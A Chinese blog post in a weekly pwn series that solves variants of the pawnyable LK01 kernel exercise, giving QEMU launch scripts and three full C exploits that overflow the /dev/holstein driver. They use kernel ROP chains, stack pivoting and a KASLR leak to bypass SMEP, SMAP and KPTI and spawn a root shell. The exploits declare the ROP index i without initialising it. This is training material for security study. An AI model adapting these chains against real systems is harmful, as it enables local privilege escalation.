2025-02第四周:pawnyable LK01变式
每周一pwn系列
LK01 +smep
在qemu启动脚本里添加+smep
这下原来的EXP就打不通了
第一种思路是修改cr4寄存器关掉保护,不过没找到合适的gadget
第二种思路就是走krop,这里把内核栈劫持到用户空间上走krop,正好有合适的gadget:
利用 swapgs 和 iretq 降落到用户态
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff
size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x420]={0};
*(size_t *)&buf[0x408]=(size_t)stack_pivot;
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000,
PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
size_t ropchain[0x20];
int i;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=init_cred;
ropchain[i++]=commit_creds_addr;
ropchain[i++]=SWAPGS_RET;
ropchain[i++]=IRETQ_POP_RBP_RET;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(userland+0x4000, ropchain, sizeof(ropchain));
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}
LK01 +smep, +smap, kpti
在qemu启动脚本里添加+smep,+smap
和pti
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti nokaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
走krop,利用 swapgs_restore_regs_and_return_to_usermode 降落到用户态
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff
size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <WIN>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x460]={0};
size_t ropchain[0x20];
int i;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=init_cred;
ropchain[i++]=commit_creds_addr;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode_addr+0x16;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(&buf[0x408], ropchain, sizeof(ropchain));
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}
LK01 +smep, +smap, kpti, kaslr
把kaslr也开起来
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti kaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
可以任意地址读写,泄露出返回地址得到内核偏移量,然后常规操作
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff
size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <WIN>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein", O_RDWR);
if (fd<0) errExit("DEV Opened Failed!");
char buf[0x460]={0};
read(fd, buf, 0x410); //0x13d33c
koff=*(size_t *)&buf[0x408]-0xffffffff81000000-0x13d33c;
printf("[+] koff: 0x%lx\n",koff);
init_cred+=koff;
commit_creds_addr+=koff;
swapgs_restore_regs_and_return_to_usermode_addr+=koff;
size_t ropchain[0x20];
int i;
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=init_cred;
ropchain[i++]=commit_creds_addr;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode_addr+0x16;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(&buf[0x408], ropchain, sizeof(ropchain));
write(fd, buf, sizeof(buf)); // 0x000000000000020E
return 0;
}